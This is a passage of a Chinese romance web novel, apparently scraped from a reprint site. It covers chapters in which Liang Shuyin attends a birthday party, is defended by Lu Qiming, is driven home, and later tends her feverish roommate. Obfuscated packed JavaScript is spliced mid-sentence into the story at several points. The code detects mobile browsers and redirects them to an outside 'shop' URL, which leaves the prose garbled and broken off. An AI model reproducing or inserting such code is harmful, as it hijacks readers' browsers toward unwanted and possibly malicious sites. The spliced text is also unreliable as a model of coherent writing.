梁舒音回视他,“你也不是我男朋友,可你刚才不也...” 话到此处,戛然而止。 两人眸光对上,都知道她欲言又止的后半句是什么。 撞在一起的目光,倏地,又燃烧起了零星火苗。 她移开视线,装作若无其事的样子,用勺子舀了粥,怼到他嘴边。 陆祁溟莫名低笑了下,从沙发上直起身子,双手接过她手头的食盒和勺子。 还真是被她拿捏了。 他胃口是真的不太好,只吃了小半碗,就放下了勺子。 “可以了吗?” 他偏头看她,像是要求得一个允许。 见他实在吃不下,梁舒音点头,将胶囊里的药一一弄出来。 正准备递给他时,男人已经抓着她手腕,低头,将唇贴在她掌心,把药给吞了。 掌心的濡湿触感让她心跳踩空了一拍,男人却已直起身体,拿了桌上的杯子,边仰头喝水,边垂眼盯着她。 她佯装平静,“那你好好休息,我就先走了。” 然而,刚起身,男人长腿往外一伸,也不知是无意的,还是在故意使坏。 脚下被绊了一跤,梁舒音跌回沙发,又失去平衡地朝旁边的人扑了过去。 绵软软的触感压在胸口,一股热流顿时蹿上头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆祁溟这套房子走的是极简风,但今日的派对却布置得异常奢华。 想来应是秦授的手笔。 一人高的定制蛋糕在仪式后就被冷落,墙角堆满了奢侈品礼盒,一个比一个大牌,他还专门请了个乐队来给大家助兴。 听说秦授跟陆祁溟是发小,大抵也是个不缺钱的主。 大概是为了照顾不同的人,餐桌上饮品很多,威士忌、红酒、香槟、苏打水,竟然还有...现制的青柠水。 她怔了两秒,伸手去拿了杯青柠水。 刚抿了口,就见厨房阿姨走过来,将这些还剩一半的昂贵食物,替换成了新鲜出炉的。 她想起以前寒暑假,时常跟着父亲去偏远山区做慈善。 那些孩子们赤脚走十几公里山路上学,穷人家午饭只有一个干硬的馒头裹腹,逢年过节才能吃上一顿肉。 还真是朱门酒肉臭,路有冻死骨。 她端着玻璃杯,背靠着桌子,正冷眼旁观着客厅不属于她的热闹,就瞧见陈可可跑了过来。 “你刚刚去哪儿了?” “秦授让我帮个小忙。”她瞥了眼陈可可的围裙,“你这是在做什么?” “嗨,帮忙煎个牛排,烤点三文鱼。” “秦授让你打杂?”梁舒音眉头一皱。 “不不不。”陈可可急忙摆手。 “我只是手痒,你知道的,在家我妈都不让我做饭,这不是烹饪欲爆棚嘛。” “而且今天正好有大厨在这儿,我不得抓住机会请教请教。” “你——” 梁舒音话未出口,旁边一个穿着深V紧身衣和超短裙的女生便朝陈可可招手。 “哎服务员,这边香槟没了。” 陈可可张嘴,“啊?我...不是...” “愣着干嘛?还不快去拿。” “抱歉,她是这里的客人,不是服务员。” 那女生看了眼梁舒音,又上下打量陈可可,“是吗?我看她挺像服务员的。” 陈可可眉毛皱成倒八字,嘴笨不知该怎么反击,就听梁舒音慢慢悠悠来了一句。 “我看你也挺没素质的。” 29. 护她 “你——” 那女人颐指气使惯了,没料到会被梁舒音当众这么呛,气得脸都黑了。 “怎么了?” 被人群包围的秦授,注意到这边的动静,朝梁舒音她们走了过来。 “如果你是让可可过来给你当免费服务员的,那我们现在就走。” 她杯子一放,牵着陈可可就要离开。 “别,是我的错。” 秦授拦住两人,开口跟那女生解释,“她们跟你一样,是客人。” 徐琳不屑地看了眼陈可可,姿态依旧高高在上,“抱歉,谁让她穿个围裙。” 秦授对这个女生没太大的印象,闻言有些愠怒,视线不悦地顿在她身上。 “你穿成这样,我也没把你当夜店的服务生。” 徐琳脸上霎时忽红忽白。 她原本是搭闺蜜的顺风车来的,跟秦授也只有一两面的交情,被主人当面这样羞辱,面上挂不住,灰溜溜离开了。 徐琳走后,梁舒音盯着捂嘴憋笑的陈可可,恨铁不成钢,“被人欺负了还笑。” 陈可可吐了吐舌头,“那个,三文鱼应该烤好了,我去看看。” 结果刚抬脚,衣服领子就被人拽住了,“你别去捣乱了,浪费我的食材。” 秦授将她拉回,扯下她身上的围裙,瞥了眼梁舒音。 “你等会再被欺负,我可吃不消。” “那也得让我把三文鱼拿出来。”她像个逮不住的泥鳅,转眼又溜走了。 梁舒音:“...” 秦授:“...” “对了,楼上那位呢?”秦授转过视线,问梁舒音。 “话我带到了,他想不想下楼我可管不着。”她语气淡淡的。 秦授扫了眼宴客厅那几双粘在梁舒音身上虎视眈眈的眼睛,笑得意味深长。 “我打赌,他一定会下来的。” 梁舒音没接他这话,只问他:“所以他膝盖到底怎么样了?” 秦授顿时敛去笑意,微蹙着眉头看着她,“手术...” “怎么了?”梁舒音屏住呼吸。 “手术挺成功的。” 秦授脸色浮现捉弄人的笑意,又道,“就是...” 她简直想翻白眼,“你能不能一口气说完?” 秦授耸肩,“就是手术有没有后遗症,还有待观察。” “你知道的,他之前的膝痛是每逢阴雨天都会发作,这次会不会更严重,不好说。” 她眉头微拧,一口气颤巍巍从胸腔落下去。 “而且,他短时间内不能有剧烈的运动和撞击。” 撞击? 梁舒音心口一凉。 她刚刚还那么用力地踢了他。 “所以——” 秦授叹口气,像是在恳求她,“能帮我好好盯着他吗?比起我的忠告,他显然更愿意听你的话。” 他这话本是试探,但梁舒音却低着头,像是走神,又像是在思考什么。 他把派对地点定在这里,一是为了让术后情绪低落的陆祁溟热闹热闹,二是为了曲线救国,借陈可可的口,让她过来探病。 陆祁溟不想在她面前透露半分脆弱,但作为朋友,他在一旁看着,实在着急。 然而看着眼下的结果,他还真是摸不准。 正要放弃,女孩却点了头,“我知道了。” “知道什么?” “你不是让我盯着他吗?” “嗯,没错。” 秦授挑眉,似乎很满意她这个答案。 “好了。” 目的达成,秦授探头,朝厨房的方向瞥了眼,“我去看看那个田螺姑娘。” 等人走了,梁舒音才反应过来,自己好像中了圈套。 她要怎样盯着他,以什么样的立场和身份? 摇滚乐结束,这会儿乐队开始低吟浅唱一首民谣。 气氛舒缓了下来,但她心里莫名有些焦躁。 喝酒聊天的人一拨一拨,都是熟人局。梁舒音跟谁也不熟,找了个无人的角落静静呆着。 旁边那桌,有几个时髦的女生在聊天,她并不想偷听,然而熟悉的名字还是大张旗鼓落入了耳中。 A:“哎你上楼没找到陆祁溟吗?” B:“没,可能在睡觉吧。” 上楼找陆祁溟的女生叫李依晓,她说完,朝梁舒音这里瞄了眼,却发现她低头认真刷着手机,似乎并没听她们讲话。 A继续话题:“听说他最近不是做了膝盖手术吗?肯定在休息。” C附和说:“是啊,你别多想,他又没有女朋友。” A继续打趣,“幸好伤到的只是膝盖,不是什么重要部位。” 李依晓语气娇羞,“想什么呢?就他那张脸,那样的家世,就算那...什么不行,我也愿意。” C好奇问:“他家真的很有钱吗?” A惊呼道:“你不知道吗?去年虞海富豪榜,他们家可是榜首哎...” 不想听这些没营养的八卦,梁舒音转头,朝右侧的落地窗望去。 窗外是一个小花园,不过没什么花,只种了圈参天大树。 刚才从他卧室望出去的那排绿意,大概就是这些树。 准备去花园里透气,她刚要起身,一个纹着花臂的寸头男就过来搭讪。 “嗨,你好。”对方在她旁边坐下。 “你好。”她礼貌回应,不动声色挪远了些。 “我叫方诺,你呢?” “梁舒音。” “还是学生?” “嗯。” “哪个学校的?” “虞大。” “学霸呀。” 出于礼貌,梁舒音客气地朝他笑了下。 方诺似乎在等着她回问自己,没等到,他瞥了眼前面的那杯青柠水,再度主动寻找话题。 “你不喝酒吗?” “不太喝。” “挺好的。” 她浅浅一笑,当作回应。 方诺像是被她的笑容鼓舞,拿出手机问她要微信。 梁舒音有些烦躁,正琢磨着如何婉拒,伸手去拿矮几上的杯子时,抬头就看见立在不远处,被人群包围的陆祁溟。 他换了身衣服,不同于以往的黑T黑裤,他身上是件黑色衬衫,真丝质地的。 贴合皮肤的丝质面料被他宽大体格撑开,最上头那枚扣子敞着,露出锋利的喉结,慵懒又随性。 衬衫上似乎有银白色刺绣,隔得太远,她看不清图案。 这衣服其实很成熟,穿不好会显得老气,但挂在他身上却有种莫名的贵气。 他抄着手,正被一群人围着,平时挺冷酷的人,在社交场却是游刃有余。 也许是察觉到她的目光,他的眼风随之望了过来。 两人目光隔空交汇。 对上的那一瞬间,她迅速移开了视线。 “不好意思,我手机没电了。”她回过神来,浅笑着跟一旁的男生说。 知道是拒绝,方诺也没死心,“没事,电话号码也行。” 这时,那头的陆祁溟停止聊天,明目张胆地盯着她。 几秒后,他忽然抬脚,快速从人潮中穿行过来。 很明显,他的目标是她。 她搁下杯子,迅速起身,连身后的包都忘了拿,“不好意思,我去趟洗手间。” 看着特意绕过另一侧离开客厅的人,陆祁溟定住了脚步。 他不着痕迹勾了下唇,无奈一笑,视线却追随着她,直到被冷硬的墙截断。 正要掉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283660|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却被一个穿着黑色一字肩长裙的女生拦住了。 “陆祁溟,我刚上楼,怎么没找到你。”女生笑容甜美,眼神略带羞涩。 这是MATA酒吧的常客李依晓,算是头部VIP客户,和秦授挺熟的。 出于礼貌,他停下来,状似玩笑地回她:“找我做什么?” 李依晓将一缕碎发挽在耳后,笑道:“没什么,就是我有两个姐妹想开酒吧,想跟你请教下。” 他客套地说:“酒吧都是秦授和尹航在打理,他们比我更有经验。” “你不会金屋藏娇了吧?”李依晓忽然话锋一转,半真半假问道。 陆祁溟看向她的视线一沉。 被男人凛凛的眸光吓住,李依晓忙解释说:“我的意思是你如果有女朋友了,带下来给大伙介绍介绍。” 陆祁溟冰块一样的脸上裂出公式化的笑,“会的。” “抱歉,我接个电话。”不等对方回复,他拿起电话,去了前院。 卫生间像是个安全地带,让梁舒音短暂逃离陆祁溟的围捕。 她不是没看见,这个派对上多少双眼睛盯着他,她才不想成为众矢之的。 但这样躲着也不是办法。 她拿出手机,给陈可可交代了要先行离开的想法。 “那我跟你一块儿走呗。” “不用了,你不是要学厨艺吗?不用管我,好好玩。” 从卫生间出来,她去客厅拿包,又收到了陈可可的信息。 “那我等会儿给你和棠棠带好吃的回来,秦授说我做的东西登不了大雅之堂,我还不想便宜了他呢。” 她弯了下唇角,敲下一个字,“好。” 然而,抬头时,还没看清面前的人,一杯红酒已经洒到了她的白色T恤上。 “啊!你没事吧——” 她还没出声,对面的女人倒是抢先一声惊呼。 抬头瞧见一张鄙夷且丝毫看不出歉意的脸,那声“没关系”,顿时卡在梁舒音的喉咙里。 “你觉得我像没事的样子吗?”她冷静地盯着始作俑者。 没想到这个从陆祁溟房间下来的女人会这么直接。 李依晓一愣,也不认输,“我承认刚刚是我脚滑了,但你不也没看路吗?” “我没看路,你就该泼我吗?”她依旧淡然回击。 “我...” 李依晓被她身上那种清冷淡定的气场吓得心里一颤,气势顿弱。 “都说了不是故意的。” 这时,周围有人注意到这边的动静,纷纷投来好奇的目光。 算了。 不想跟她在大庭广众下争论,也不想破坏秦授的生日派对,梁舒音从口袋里摸出纸巾,正要擦拭,对面又来了个眼熟的人。 “为了一件衣服在这儿闹事,也不怕扫了主人的兴致?” “而且这衣服应该值不了多少钱吧,不如我们赔你一件?” 颐指气使的语气。 是刚才把陈可可当作服务生的那位。 还真是人以群分。 她今天就不该来。 梁舒音冷笑一声,抬头看向找事的两人,朱唇轻启,正要说些什么,一只有力的手不由分说,揽住了她的肩膀。 她下意识看向肩头,男人手腕上那只深蓝色表盘的百达翡丽撞进她眼底。 不等她反应,男人掌心用力,握着她肩膀,将她带进他怀里。 “赔衣服就不必了。” 陆祁溟看了眼梁舒音,又冷冷扫视对面的俩人,“我们上楼换一件就是了。” “至于主人的兴致?” 他接过她手头的纸巾,作势在她胸口的红渍处擦了下,又在满场惊诧的目光中,朝李依晓轻笑。 “只要她高兴,把我这拆了都行。” 30. 翎羽 面前的两人,一个唇角破皮,一个嘴唇细看也有些红肿,不用说,也能想象到刚刚在楼上发生了什么。 更何况,陆祁溟丝毫不藏着掖着,就这样名目张胆护着这个女人,一点也不给她这个VIP客户的面子。 李依晓本就不占理,此刻见识到陆祁溟护短又冷酷的一面,更是局促不安,在周围的起哄声中,僵硬得无法动弹。 乐队的人也看热闹不嫌事大,一首抒情曲被他们故意换成激昂的战歌。 派对上的男男女女纷纷朝他们这边望过来,有人吹哨,有人看戏。 “祁哥不是一向不近女色的吗?” “陆祁溟,女朋友别藏着掖着,赶紧给大伙儿介绍介绍。” 李依晓没想到会搬起石头砸了自己的脚,为了追陆祁溟,她天天往他那个酒吧跑,钱没少砸,到头来竟成了个笑话。 被谴责或揶揄的目光围剿,她脸上挂不住,拉上一旁的闺蜜,朝陆祁溟尴尬地扯了扯唇角。 “抱歉,我们还有事,就先走了。” 陆祁溟也没挽留,不冷不淡道:“慢走不送。” 等人走后,他又扫了眼派对上那群起哄的人,四两拨千斤道:“小插曲,希望没影响各位的兴致。” 说罢,面无表情地牵着梁舒音上了楼。 一路跟着他上去,直到他关上卧室的门,梁舒音才懵懵地抽出手。 兜兜转转,她怎么又回到了这里。 男人从衣帽间找出件黑T扔给她,“换上吧。” 见她捧着衣服没动,又提醒她:“还是说你想顶着这件衣服回去?” 梁舒音低头看向胸口处,白色衣服即便被泼了酒,也并不透光,只是那抹鲜红的位置,实在尴尬。 而且...还被他骨节修长的手触碰过。 想到这里,她头皮莫名发麻,连呼吸都卡住了一秒,抬头就见他揣着胳膊,用一双藏着深意的眸子,玩味地盯着自己。 “那就谢谢了。” 她别开视线,抱着衣服去了卫生间。 趁她去卫生间换衣服的空档,陆祁溟去阳台接了通电话。 然而,等他聊完回到卧室,不过几分钟的时间,房间里哪还有她半点影子。 又跑了。 陆祁溟拿了钥匙迅速下楼,先去厨房问了陈可可。 “她说有事先走了啊。” 陈可可一脸懵逼,不知道这两人又在玩什么猫捉老鼠的游戏。 “哦对了——” 她擦了手,从旁边的储物盒里拿出一把黑色折叠伞和一个新手机给他。 “这是她让我给你的。” 陆祁溟眸色一冷,接过东西,“谢谢。” 他将雨伞放在一旁,手机揣在兜里,没多再问什么,径直从后门去了车库。 落日西沉,秋风微凉。 陆祁溟的衣服挂在她一六八的个子上,仍然空空落落,被风鼓胀,活像小孩偷穿大人的衣服。 她停下,将衣摆一侧打结,还好下身是牛仔裤,这一身并不违和。 这个别墅区占地不小,如果没有摆渡车,从这里大门口,她大抵要步行二十分钟。 但跟陆祁溟同处一室比起来,这点麻烦算不上什么。 走了几步,不知怎的,她突然想起了刚刚那个女人落在她唇上,探寻的目光。 她从包里摸出小镜子,低头照了下,嘴唇的确有些红肿,但不细看并不会察觉。 只是配合他唇角的破皮,还真有种不可言说的意味。 “啪”一声,她阖上镜子,深吸了口凉风。 他应该不会追出来吧? 她加快了步伐。 然而,天不遂人意,不过两分钟,身后就响起刻意而为的喇叭声。 不用回头也知道是谁,她装作没听见,继续往前。 恼人的鸣笛声却没消停,越发肆无忌惮了。 她无奈回头。 车窗缓缓降下,陆祁溟胳膊搭在窗边,偏头看着她,“上车,我送你。” “不用了,我自己可以打车。” “你确定?” 她当然知道这里僻静,出了别墅区也未必好打车,但偏不想上他的车。 “确定。” 不知道她在较什么劲,陆祁溟轻笑,一副奉陪到底的表情。 梁舒音冷淡瞥他一眼,继续不紧不慢地往前走,车便跟在她身后,像蹒跚的蜗牛一样缓缓爬行着,像是在比谁更耐得住性子。 就这样走了几分钟,车主像是没了耐心,脚踩油门,方向盘一拐,将车横在了她前面。 这条小路本就不宽,他车一横,挡住了大半的路。 “你不觉得这样很幼稚吗?”梁舒音冷静地对着车里的人吐槽。 陆祁溟耸肩,像是毫不在意的样子。 懒得跟他废话,梁舒音抬脚往左边的缝隙走去,结果车也跟着往左。 她又往右,车一秒不停地跟着往右。 像是在玩什么通关游戏,而面前的这个怪物锁死了她的通道。 陆祁溟从烟盒中摸出一只烟,咬在唇间,又拿出火机,像是做好了和她持久战的准备。 “别抽烟。”女孩厉声制止。 他点烟的手一顿,有些意外。 “你还在养伤,不能抽烟也不能喝酒。” 他收了火机,看向一脸严肃的女孩。 她身上是他的衣服,下摆打了结,将衣服收在腰线上,而腰部以下是被紧身牛仔裤包裹着的,一双笔直修长的腿。 没有丝毫的暴露,浑身遮得严严实实,但在他眼里却莫名有种性感的味道。 陆祁溟收回视线,听话地将未点燃的烟扔在车前,推门下车。 眨眼之间,男人已经关上车门快步来到她面前。 “如果是因为刚才的不愉快离开,我替秦授跟你道歉,那是他请来的客人。” 梁舒音摇头,“跟他没关系。” “那就是因为我?” 她看他一眼,撒了谎,“只是单纯不喜欢这种场合。” “不喜欢热闹?” “嗯。” 梁舒音没什么焦点地盯着路旁的参天大树,“太吵,还浪费粮食。” 浪费粮食? 没想到她是这个思路,陆祁溟揣着双手,唇角扬起浅浅的弧度。 “嗯,这个建议我会转达给秦授的。” 梁舒音想解释说自己不是那个意思,她跟秦授都不熟,怎么能对人家的生日派对指手画脚。 但转念一想,陈可可今天也受了气,她索性就闭嘴了。 “上车吧,我送你回去。” 他垂眸盯着依旧没动的人,有些无奈,但语气却是温柔了很多。 “不用担心我的膝盖,也不用怕麻烦我,我等会儿要去一个宴会,只是顺路。” 远处,落日鎏金,夕阳染红了天际。 梁舒音收回刻意逃避的视线,看向面前的陆祁溟,绯色夕阳下,男人站在光晕里,她终于看清他黑色衬衫上的银白刺绣。 是翎羽。 华丽而高贵,配他正合适。 他眉眼冷淡,看她时,总在审慎、揣度她的心思,然而那微微上挑的眼尾,却又带了些与生俱来的深情。 每每让她想挪开视线,却又忍不住多看两眼。 他个子本就很高,身形宽大,她窄瘦的身体几乎被他落下的影子包裹,融为一体。 黑丝银翎的男人慵懒地站在她面前,漫不经心地垂眼看她,那副随性的样子,再配上一张比女生还美的脸... 简直就是个妖精。 她盯着这个低声哄她的妖精,前一秒还在心头腹诽着,下一刻不知怎的,脑子里突然就浮现此前在一起相处的那些场景。 他虽然骨子里桀骜不驯,凡事也很强势,但回回面对剑拔弩张的她,他都隐忍克制着脾气,无条件地迁就她、帮她。 而他们之间,却很少有像此刻这般,心平气和讲话的时候。 唇边忽然溢出了一抹发自肺腑的笑。 “笑什么?” 陆祁溟虽然有些不明所以,但心情却被她牵动了,她这一笑,勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313249|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得他心里莫名一跳。 于是眼尾一挑,用食指亲昵地敲她脑门。 她双手背在身后,后退躲闪,被突然袭击,也没生气。 “我只是觉得,夕阳很美。” 顺着她的视线,陆祁溟随意地回头瞥了眼,似乎并不觉得有什么稀奇。 只是,再转头看她时,他盯着那双倒映着夕阳的狐狸眼,神色却莫名认真。 “嗯,很美。” “上车吧。” 一阵风吹过,不知从哪儿冒出一只飞鸟,毫无顾忌撞进风里,扑腾回密林。 她脑子里忽然冒出四个字。 倦鸟知返。 “好。” 被晚风晕染的嗓音飘渺而确切,她也想偶尔活在当下,活在此时此刻。 不用去管明天的结果。 扯过安全带时,梁舒音想起什么,问驾驶座的男人:“你退烧了吗?” 陆祁溟将脸凑过来,没个正形,“你探一下试试?” 梁舒音没理他,“咔哒”一声按下搭扣,盯着前方的路,嗓音听不出任何情绪。 “看来已经好了。” 陆祁溟闷声一笑,坐回了原位,“胆小鬼。” 折腾累了,梁舒音睡了一路。 车抵达学校附近时,她终于被学生们破闸而出的嘈杂动静唤醒。 睁开眼时,车刚好停在学校门口,她庆幸自己醒得及时,没耽误他时间。 整理了下头发,她转头看向陆祁溟,“今天谢谢你了。” 他却问:“明天国庆,准备去哪儿玩?” 解开安全带,梁舒音顿了下,“去咖啡店兼职。” 男人看她一眼,没多说什么,只递过去一只手机,“你还给我,它在我手里就只是一个破铜烂铁。” 陆祁溟将东西又塞回发怔的人手里,“拿着吧,以防不时之需。” 她手一缩,正要拒绝,透过驾驶座那边的窗玻璃,瞧见了一个熟悉的身影。 没时间再跟陆祁溟纠缠了,梁舒音接过手机,急忙推门下车。 “李老师。” 她小跑过去,叫住走在她前面的男人。 李明德脚下一顿,转头看她,眼睛里有微澜浮动,“梁舒音同学。” “刚从外面回来?” 她点头,双手交握在身前,嘴角牵起浅笑,“嗯。” 她下车急,包落在副驾驶的位置忘了拿,陆祁溟想拿了替她送过去,听见那声急切但甜美的“李老师”,他手头一顿,狐疑地从降下的车窗望出去。 低眉顺目。 乖巧动人。 哪里还有半点平日里清冷的模样。 “跟男朋友约会?”李明德问。 她摇头,“不是,朋友过生日。” 李明德点头,又问:“明天的活动...” “梁舒音——” 话被她身后一个男人的声音打断。 “你的包,落车里了。” 陆祁溟走到她旁边,将东西递过去。 她愣了下,眉心微蹙,面色紧绷地接了过来,“谢谢。” 陆祁溟瞥了眼李明德,没多说什么,交完东西便转头离开了。 “男朋友吗?”李明德盯着陆祁溟的背影问。 “只是普通朋友。”梁舒音解释道,“一起参加了朋友的生日派对,顺路送我回来。” 李明德收回视线,看着她,意味深长地点了点头。 “明天的活动来吗?”他续上刚才被打断的问题。 “来的。” 回到车里,陆祁溟将车窗彻底降下,微眯起一双眼,凝眸盯着梁舒音那边。 他总觉得那个老师有些面熟,像是在哪儿见过。 但具体又想不起来。 手机震动起来,他收回目光,瞥了眼来电号码,按下通话键。 “嗯,来的路上,半小时后到。” 调转车头前,他最后朝她的背影瞥了眼,师生俩已经步入大门,并肩往校园内走去了。 直觉告诉他,哪里不太对劲。 31. 陷阱 晚八点,虞海CBD寸土寸金地段,超奢商场的最顶层。 金碧辉煌的宴会厅。 这次宴会,是虞海今年最大的一场商业交流酒宴,业内大咖、名流纷纷齐聚于此。 而这当中,最受瞩目的当属陆海集团的一把手,陆延盛。 陆海集团以传统的建筑行业起家,后又涉足商业地产运营、船舶、运输等多元领域,如今正在进军新能源、人工智能等新兴领域。 在虞海几乎无人不知,无人不晓。 只是,陆海最近遭遇了一些别有用心的流言攻击,传闻陆老板跟独子决裂,陆海集团恐怕后继无人。 锋速电梯正在上行,奢华香薰香味四溢。 陆祁溟虽已退烧,但偏头痛隐隐发作,香薰味入鼻,不觉皱了下眉。 善于察言观色的礼宾,一眼看出这位陆少爷的心思,连忙将香薰熄灭。 “下次用青柠味的。” 礼宾自然认得这栋大楼的少东家,边擦汗,边恭恭敬敬地点头道:“好的,陆少。” 锃亮的梯门打开。 一条红毯从门口一路铺设至宴会厅处。 黑色皮鞋踩上红毯,陆祁溟抬起手腕,很随意地整理了下袖口,在礼宾的引导下,目不斜视地走向那扇厚重的大门。 酒会早已开始,礼宾推开大门时,无数双好奇的视线投了过来。 看清来人的面孔,熟人惊讶,生人惊艳。 了解陆海的人,几乎没有不知道陆祁溟的。 他是陆延盛的独子,关键是这人的行事作风从来不按规则走。 原本以为只是个玩赛车的纨绔子弟,但几年前刚毕业时,陆祁溟就替陆海拿下了城南新区的那片土地。 多少企业挤破头都没能拿下的东西,被他这个初出茅庐的年轻人轻易收入囊中。 这在当年几乎登顶本地商业新闻的头条。 然而,没多久,这位极具商业头脑的二代就消失在了业内视线中,搞些不着调的事。 倒也符合纨绔子弟的风格。 只是如今,圈子里私底下都在暗传,他母亲疯了,父亲另娶,父子关系几乎决裂。 在众人探究的目光中,陆祁溟抄着手,目不斜视步入宴会中。 他随手从侍者手中拿了杯香槟,走向自己的父亲。 陆延盛正在同新近商业合作伙伴陈家谈生意,瞥见儿子,以为看花了眼。 再定睛一看,那姿态随意,目中无人的样子,可不就是陆祁溟。 上回他生日,两父子在家里不欢而散后,都在赌气,至今没联系过,没想到今晚他竟会不请自来。 “这位是陆少爷?”陈瑞顺着陆延盛的目光看过去,率先开口。 陆延盛还没来得及答话,陆祁溟已经走到两人跟前,朝陈瑞鞠躬致意。 “想必您一定是圣一科技的陈伯父,您开发的那套拿了国际大奖的游戏,我特别喜欢。” 被恭维,陈瑞自然心情不错,“看来陆少爷对游戏也很有研究。” 陆延盛冷哼一声,“他就是个喜欢玩儿的人,没什么正经想法。” “话可不能这么说。”陈瑞打断他,“这年头可不能闷头办事,会玩才有想法。” 陆祁溟姿态谦逊,“陈伯父,您过奖了。” 陈瑞对陆家这位少爷早就有所耳闻,今日一见,传闻中的狂妄他没见到,倒是出乎意料的一表人才。 这人不仅皮囊好,谦逊言语间还藏着毫不掩饰的野心和魄力。 “我女儿要是能有你儿子一半优秀,我就心满意足了。” “哪里的话,令千金在哈佛商学院深造,我这臭小子哪里比得上。” 陈瑞顺着他的话,半真半假道:“那不如结个亲家,两全其美。” 陆延盛连连摆手,“犬子不成器,哪里配得上令千金。” 两个老狐狸打着太极,陆祁溟不表态,在旁边作壁上观,反正是老头子惹的祸,他才不会插手。 双方你来我往几个回合后,不断有名流过来打招呼,话题才得以终结。 一群人聊着关于当下新兴商业模式的想法,陆祁溟侃侃而谈,从容应对,很快就成为被关注的焦点。 陆老爷子嘴上虽看不上儿子,但眼里那点骄傲的意味藏都藏不住。 等众人散开后,话题才回到父子间。 陆延盛问他:“你怎么来了?” 陆祁溟将酒杯放在一旁侍者的托盘里,一手插兜,面无表情扫视着宴会厅。 “业内都在传陆家父子离心,要断绝关系,您老的第二个儿子又还没出生,我不来,是等着别人看您笑话不成?” 看来这小子面上不关心不在乎,其实对家里的事门儿清得很。 陆延盛哼笑一声,“你还知道自己身上的责任。” “您想多了,我单纯是为陆海担心。” 陆祁溟转头看向父亲,眼底闪过一抹冷意,“毕竟,这公司不是您一个人的,它还有我妈的心血。” 提到陆祁溟的母亲,陆延盛沉默下来,他知道自己亏欠了前妻,也不跟儿子较劲了,语气倏然软了下来。 “既然担心,就回来。” 陆祁溟答非所问:“听说您收购了那家快要倒闭的娱乐公司?” “消息挺准的。” “我看您真是老糊涂了。” 他盯着父亲,言辞直白,一点面子也不给。 “那家公司没有任何收购的价值,就因为您对您战友的那点旧情,就让陆海去收拾那堆烂摊子。” “爸,您这是决策失误。” 陆延盛也不生气,反倒因为儿子关心着集团,甚至还有些欣慰。 “有些话,别说得太早,也别说得太满。” 陆祁溟蹙眉,看向高深莫测的父亲。 “你啊,年轻气盛,有头脑有天赋,但经验还是不够。” “回来吧。”陆延盛放下面子,“爸老了,陆海也需要你。” 陆祁溟避之不答,抬腕看了眼时间,在众目睽睽中,像是做戏般主动拥抱了陆延盛。 “保重。” 然后顶着无数聚光灯,目不斜视地离开了。 盯着他冷硬无情的背影,陆延盛在心底叹口气,“这个逆子。” 也就是拿准了自己只有他这么一个儿子,不管他怎么肆意妄为,他都不会真的生气。 走出金碧辉煌的宴会厅,陆祁溟烦躁地扯了扯领口,真丝衬衫的前两颗纽扣被他扯了开,整个人又变得慵懒不着调。 皮鞋踩上红毯的霎那,他脑子里猛地闪过一个画面。 他想起李明德是谁了。 在那份梁舒音父亲的调查资料上,还有另一个老师的名字和照片。 跟梁父一起竞聘教授的,李明德。 而这个名字,也曾出现在他一瞥而过的课表上。 戏剧鉴赏课,周一晚七点。 周一。 她从那栋老旧行政楼跑出来的时间。 他不想阴谋论,但梁舒音昨天对李明德的态度实在反常。 就算一个人在不同场景,面对不同的人,通常会给出不同的态度,但昨天的她,显然戴了张面具。 电梯在他面前缓缓打开。 抬脚进去,蹭亮的电梯壁上映现他冷冽的一张脸,他从兜里拿出手机,拨了个电话出去。 “帮我查一个人。” -- 昨晚回到学校后,梁舒音没再回家,直接在宿舍睡了一夜。 也许是日有所思,她噩梦连连,几乎一夜没睡好。 闹钟七点准时响起。 脑袋发沉,衣服几乎汗湿,她下床冲了个澡,收拾妥当后,快八点了才叫林语棠起床。 林语棠家在外地,为了李明德的事,她国庆没回去,跟梁舒音一块呆在宿舍。 “棠棠,早餐想吃什么,我去买?” 梁舒音用发圈套着高马尾,腾出一只手在林语棠的床位上轻拍了两下。 没反应。 林语棠平时是宿舍起的最早的,不管节假日或时节变化,每天六点半雷打不动地准时醒来。 以为她昨晚也失眠没睡好,梁舒音没再叫她,直接去食堂买早餐了。 然而,东西拎回来,她走过去轻拍林语棠的床头,却还是没动静。 她这才意识到不对劲。 脱了鞋,爬上林语棠的床,狭窄木床晃动起来。 林语棠终于翻了个身,艰难睁眼,“音音,我有点儿难受。” 梁舒音探她额头,“怎么这么烫,你是不是发烧了?” “不知道。”林语棠似乎被烧懵了,“昨晚喉痛发痒,我吃了点药,没想到今天更严重了。” “还有什么其他症状吗?” “浑身又酸又痛,动不了...” 梁舒音想了想,她柜子里还有对症的感冒药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 